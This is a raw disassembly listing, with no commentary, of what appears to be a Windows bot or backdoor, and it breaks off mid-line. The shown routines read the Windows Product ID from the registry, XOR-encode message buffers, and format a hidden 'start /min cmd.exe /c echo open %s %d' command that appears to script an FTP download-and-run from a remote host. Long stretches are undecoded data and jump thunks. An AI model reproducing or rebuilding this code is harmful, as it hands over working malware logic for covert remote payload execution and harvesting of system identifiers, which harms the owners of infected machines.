call sub_4012EE test eax, eax jnz loc_435C67 lea edx, [esp+144h+var_12C] mov [esp+144h+var_12C], eax push edx push 20019h push eax push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov [esp+158h+var_110], 80h call near ptr 2AA01C7h nop mov edx, [esp+144h+var_12C] lea eax, [esp+144h+var_110] lea ecx, [esp+144h+var_8C] push eax push ecx push 0 push 0 push offset aProductid ; "ProductId" push edx nop call near ptr 2A50000h test eax, eax jnz short loc_435C5C lea eax, [esp+144h+var_8C] lea ecx, [esi+69h] push eax push offset aFoundWindowsPr ; "Found Windows Product ID (%s)." call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h loc_435C5C: ; CODE XREF: sub_4356F0+539j mov eax, [esp+144h+var_12C] push eax loc_435C61: ; CODE XREF: sub_4356F0+4D2j call near ptr 2A70000h nop loc_435C67: ; CODE XREF: sub_4356F0+4E9j mov ecx, [esp+144h+var_C] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx add esp, 138h retn 4 sub_4356F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 170h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435E00 proc near ; CODE XREF: sub_401334j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_435E1D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_435E13: ; CODE XREF: sub_435E00+1Bj cmp [eax+edx], cl jz short loc_435E21 inc eax cmp eax, esi jl short loc_435E13 loc_435E1D: ; CODE XREF: sub_435E00+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_435E21: ; CODE XREF: sub_435E00+16j pop esi mov al, 1 retn sub_435E00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_435E40: ; CODE XREF: ___:00401429j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h call near ptr 71AB2B66h nop mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, (offset loc_446BC7+1) mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_435EFC push ebx push ebp call eax add esp, 8 loc_435EFC: ; CODE XREF: ___:00435EF3j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_435F3E: ; CODE XREF: ___:00435FB7j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_435FB9 loc_435F7E: ; CODE XREF: ___:00435F4Cj ; ___:00435F5Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_435FB0 loc_435FA3: ; CODE XREF: ___:00435FAEj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_435FA3 loc_435FB0: ; CODE XREF: ___:00435FA1j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_435F3E ; --------------------------------------------------------------------------- loc_435FB9: ; CODE XREF: ___:00435F7Cj mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4360A0: ; CODE XREF: ___:00401D61j push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_446BC7+1) mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_436152 push ebx push ebp call eax add esp, 8 loc_436152: ; CODE XREF: ___:00436149j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_436194: ; CODE XREF: ___:0043620Dj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_43620F loc_4361D4: ; CODE XREF: ___:004361A2j ; ___:004361B2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_436206 loc_4361F9: ; CODE XREF: ___:00436204j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4361F9 loc_436206: ; CODE XREF: ___:004361F7j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_436194 ; --------------------------------------------------------------------------- loc_43620F: ; CODE XREF: ___:004361D2j mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_436300: ; CODE XREF: ___:00401FE1j mov eax, 200Ch call sub_436840 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, [esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h nop call sub_5EA1BD lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_446BC7+1) mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_436402 push ebx push ebp call eax add esp, 8 loc_436402: ; CODE XREF: ___:004363F9j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_436444: ; CODE XREF: ___:004364BDj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4364BF loc_436484: ; CODE XREF: ___:00436452j ; ___:00436462j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_4364B6 loc_4364A9: ; CODE XREF: ___:004364B4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4364A9 loc_4364B6: ; CODE XREF: ___:004364A7j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_436444 ; --------------------------------------------------------------------------- loc_4364BF: ; CODE XREF: ___:00436482j mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4365C0: ; CODE XREF: ___:00401910j push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, (offset loc_446BC7+1) mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43663D push ebx push ebp call eax add esp, 8 loc_43663D: ; CODE XREF: ___:00436634j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43667F: ; CODE XREF: ___:004366F8j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4366FA loc_4366BF: ; CODE XREF: ___:0043668Dj ; ___:0043669Dj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4366F1 loc_4366E4: ; CODE XREF: ___:004366EFj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4366E4 loc_4366F1: ; CODE XREF: ___:004366E2j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43667F ; --------------------------------------------------------------------------- loc_4366FA: ; CODE XREF: ___:004366BDj mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367C8 proc near ; CODE XREF: SEH_4034E0+5j ; SEH_4036D0+5j ... nop jmp near ptr 77C227FAh sub_4367C8 endp ; --------------------------------------------------------------------------- align 10h byte_4367D0 db 90h ; DATA XREF: ___:off_43E004o ; ___:0043E018o ... db 0E9h, 37h, 0F7h dd 0E990777Fh, 777E573Ch, 2BE5E990h ; --------------------------------------------------------------------------- jg short loc_436859 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367E2 proc near ; CODE XREF: ___:00406BE0p ; sub_406C00+11p ... nop jmp near ptr 77C29CDDh sub_4367E2 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0A2h, 12h dd 0E9907781h, 7781146Ch, 14EBE990h db 81h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367FA proc near ; CODE XREF: sub_406C30+47p ; ___:00406CCAp ... nop jmp near ptr 77C29CC5h sub_4367FA endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0E1h, 0ACh ; --------------------------------------------------------------------------- jle short loc_43687D mov eax, ecx mov dword ptr [eax], offset off_43E1D4 retn 4 ; --------------------------------------------------------------------------- loc_436811: ; DATA XREF: ___:off_43E1D4o push esi mov esi, ecx call sub_436BCC ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_436827 push esi call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx loc_436827: ; CODE XREF: ___:0043681Ej mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- mov eax, ecx retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436832 proc near ; CODE XREF: sub_409580+4Dp ; ___:0040A99Dp nop jmp near ptr 77C226F6h sub_436832 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 4Ch, 97h ; --------------------------------------------------------------------------- xor byte ptr [edi-34h], 0CCh ; =============== S U B R O U T I N E ======================================= sub_436840 proc near ; CODE XREF: sub_40A030+5p ; sub_40FF60+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_436860 loc_43684C: ; CODE XREF: sub_436840+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax loc_436859: ; CODE XREF: ___:004367E0j cmp eax, 1000h jnb short loc_43684C loc_436860: ; CODE XREF: sub_436840+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_436840 endp ; --------------------------------------------------------------------------- align 10h dd 810DEBE9h, 0E9902A77h, 777E6714h db 0E9h ; --------------------------------------------------------------------------- loc_43687D: ; CODE XREF: ___:00436804j cmc xchg eax, ecx xor byte ptr [edi+5Dh], 90h jmp near ptr 77C47A50h ; --------------------------------------------------------------------------- db 90h db 0E9h, 0F0h, 35h dd 8DE97780h, 4778110h, 7F5B6EE9h, 3D835877h, 50E9D4h dd 0FF0C75FFh, 90042474h, 7FE54BE8h, 68C35977h, 50E9C4h dd 50E9D468h, 2474FF00h, 310E80Ch, 0C4830000h, 74FFC30Ch dd 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h, 593DE990h dd 0E990777Fh, 778008D8h, 8E9E990h db 80h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4368EA proc near ; CODE XREF: sub_4198C0+28p nop jmp near ptr 77C4FA10h sub_4368EA endp ; =============== S U B R O U T I N E ======================================= sub_4368F0 proc near ; CODE XREF: sub_41B820+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_436911 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_436961 ; --------------------------------------------------------------------------- loc_436911: ; CODE XREF: sub_4368F0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_43691F: ; CODE XREF: sub_4368F0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_43691F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_43694A cmp edx, [esp+4+arg_4] ja short loc_43694A jb short loc_436952 cmp eax, [esp+4+arg_0] jbe short loc_436952 loc_43694A: ; CODE XREF: sub_4368F0+4Aj ; sub_4368F0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_436952: ; CODE XREF: sub_4368F0+52j ; sub_4368F0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_436961: ; CODE XREF: sub_4368F0+1Fj pop ebx retn 10h sub_4368F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_436970 proc near ; CODE XREF: sub_41B820+30p ; sub_41B820+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_436992 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4369D3 ; --------------------------------------------------------------------------- loc_436992: ; CODE XREF: sub_436970+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4369A0: ; CODE XREF: sub_436970+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4369A0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4369CE cmp edx, [esp+8+arg_4] ja short loc_4369CE jb short loc_4369CF cmp eax, [esp+8+arg_0] jbe short loc_4369CF loc_4369CE: ; CODE XREF: sub_436970+4Ej ; sub_436970+54j dec esi loc_4369CF: ; CODE XREF: sub_436970+56j ; sub_436970+5Cj xor edx, edx mov eax, esi loc_4369D3: ; CODE XREF: sub_436970+20j pop esi pop ebx retn 10h sub_436970 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0D3h, 0A0h dd 2DE97780h, 50778086h, 1477E990h, 0E9907781h, 7780A486h dd 0A805E990h, 79E97780h, 0D97780ABh, 0A99AE990h, 34E97780h dd 0FA7780ADh, 11D2E990h, 0E9907781h, 7780B15Eh, 84DCE990h dd 0F4E97780h, 977780A3h, 7F569EE9h, 36E9BB77h, 9A777E5Bh dd 3C0E990h, 0E9907780h, 778007C2h, 887EE990h, 0E990777Eh dd 77808EEDh, 80AE21E9h, 0E990FF77h, 7780398Bh, 8038B2E9h dd 0E9900777h, 778126B7h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436A5C proc near ; CODE XREF: ___:0043168Cp nop jmp near ptr 77C3619Ch sub_436A5C endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7780030Ch, 0A143E990h, 0A06C7780h, 2DABB33Ch, 5626025Ch dd 4C13B1E7h, 0A164D2h, 50000000h, 258964h, 83000000h dd 565368ECh, 0E8658957h, 5D89DB33h, 0E8026AFCh, 777FE8DCh dd 0D835990h, 50E9C4h, 0D40D83FFh, 0FF0050E9h, 7E8726E8h dd 0D8B9077h, 50E8D8h, 0E8900889h, 777E86E0h, 0E8D40D8Bh dd 8890050h, 50FA1CA1h, 0A3008B00h, 50E9B8h, 12EE8h, 0F01D3900h dd 7500446Ch, 6C08680Ch, 0E8900043h, 77816B85h, 0FAE859h dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8D0A100h, 45890050h dd 94458D94h, 0CC35FF50h, 8D0050E8h, 8D509C45h, 8D509045h dd 0E850A045h, 777E83C3h, 32086890h, 680044h, 0E8004430h dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h dd 24495B5h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 25BB172h dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh dd 0CFE88875h, 90778032h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436BCC proc near ; CODE XREF: ___:00436814p jmp near ptr 77C21868h sub_436BCC endp ; --------------------------------------------------------------------------- db 4, 90h, 0E9h dword_436BD4 dd 777FE279h, 32BCE990h, 0CBE97780h, 0CA777FC1h, 8301E990h dd 0E990777Eh, 77803177h, 3000068h, 6800h, 25E80001h, 59000000h dd 6EE9C359h, 7977816Ah, 0C3C3C033h, 8592E990h, 0E990777Eh dd 777E85C3h, 7FE75FE9h, 71E9E677h, 4B777FF0h, 818206E9h dd 0E990C577h, 75C6973Bh, 9819E990h, 0E99075C6h, 75C5B3F2h dd 8843E990h, 0E99075C5h, 75C697E8h, 0B319E990h, 0E99075C4h dd 75C54BF8h, 0C60A56E9h, 0E9908D75h, 75C4EE84h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436C60 proc near ; CODE XREF: sub_4192C0+17Ep jmp near ptr 76D6AC1Dh sub_436C60 endp ; --------------------------------------------------------------------------- db 0C0h, 90h, 0E9h dd 2529AD7h, 529B51E9h, 0E9903202h, 2529CE9h, 539383E9h dd 0E9905802h, 254937Ch, 0A417E990h, 71E90254h, 58025593h dd 936AE990h, 0E9900256h, 256AB43h, 56AD2FE9h, 0E9906C02h dd 256B08Dh, 9352E990h, 76E90257h, 4025795h, 579CD0E9h dd 0E990B302h, 2589340h, 9757E990h, 0E9900258h, 2599334h dd 599718E9h, 0E990E602h, 25999B2h, 9322E990h, 0E990025Ah dd 25B931Ch, 0A5B9E990h, 0E990025Bh, 25BB01Eh, 5C930BE9h dd 0E9901602h, 25C99EAh, 9E35E990h, 67E9025Ch, 1B025C9Fh dd 92F2E990h, 43E90252h, 7102519Bh, 5192E7E9h, 0E9902502h dd 25092E0h, 9B21E990h, 0E990024Fh, 24F92D4h, 92CEE990h dd 2DE9024Eh, 0DE024D96h, 92C2E990h, 0E990024Dh, 24C9DBDh dd 986BE990h, 0B1E9024Ch, 9F024492h, 4C92ABE9h, 0E990C702h dd 24B9D74h, 9D39E990h, 0E990024Bh, 7C4CA385h, 4CA298E9h dd 0E990D47Ch, 24B9B44h, 9A10E990h, 0E990024Bh, 24B9280h dd 4A9A34E9h, 0E9905802h, 24A9992h, 97EBE990h, 0E990024Ah dd 24A9636h, 944FE990h, 5DE9024Ah, 1B024A92h, 9EB6E990h dd 0E9900249h, 2499CE8h, 499B1DE9h, 0E9905802h, 2499850h dd 97A8E990h, 0E9900249h, 2499238h, 9E7FE990h, 0E4E90248h dd 2802489Ah, 993DE990h, 98E90248h, 9F024895h, 48921BE9h dd 0E9908D02h, 2479B88h, 98A5E990h, 0E9900247h, 247986Ah dd 9202E990h, 0E9900247h, 246A01Ah, 9C3AE990h, 0E9900246h dd 2469898h, 91EAE990h, 0E9900246h, 2459F36h, 9D0FE990h dd 0E9900245h, 2459A19h, 9817E990h, 0E9900245h, 24591CCh dd 92F3E990h, 0E9900244h, 1B337Dh, 91BAE990h, 0B5E9025Dh dd 0EB026891h, 91AEE990h, 0A9E90263h, 0EB026791h, 9369E990h dd 0E9900266h, 266919Ch, 659197E9h, 0E9904602h, 26497A0h dd 94F6E990h, 0E9900264h, 2649184h, 9AB3E990h, 0E9900263h dd 2639972h, 96B4E990h, 0E9900263h, 25D945Bh, 9B73E990h dd 0E9900262h, 262981Eh, 94D7E990h, 0E9900262h, 2629154h dd 61914FE9h, 0E9900202h, 2609148h, 0ADD6E990h, 83E9025Fh dd 5A025FAAh, 0A82BE990h, 0E990025Fh, 25FA67Eh, 912AE990h dd 0E990025Fh, 25E9124h, 60A22FE9h, 5AE9C77Ch, 0E7167D0h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EE8 proc near ; CODE XREF: ___:0042C8F1p nop jmp near ptr 71AB4FD4h sub_436EE8 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 71687585h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EF4 proc near ; CODE XREF: sub_42C8E1+1p nop jmp near ptr 71AB2BF4h sub_436EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EFA proc near ; CODE XREF: sub_42CC50+E5p ; sub_42DC70+4Fp nop jmp near ptr 71AB615Ah sub_436EFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F00 proc near ; CODE XREF: sub_42D1A0+9Ap ; sub_42DD50+45p ... nop jmp near ptr 71AB428Ah sub_436F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F06 proc near ; CODE XREF: sub_42DFD0+53p ; sub_42DFD0+96p ... nop jmp near ptr 71AB9639h sub_436F06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F0C proc near jmp near ptr 71AC1028h sub_436F0C endp ; --------------------------------------------------------------------------- db 0EDh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F12 proc near ; CODE XREF: sub_42CE80+71p ; sub_42DA60+50p nop jmp near ptr 71AB2DC0h sub_436F12 endp ; --------------------------------------------------------------------------- dd 67BCA3E9h db 71h, 28h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F1E proc near jmp near ptr 71AB88D3h sub_436F1E endp ; --------------------------------------------------------------------------- db 2Dh dd 67BC3DE9h db 71h, 92h ; =============== S U 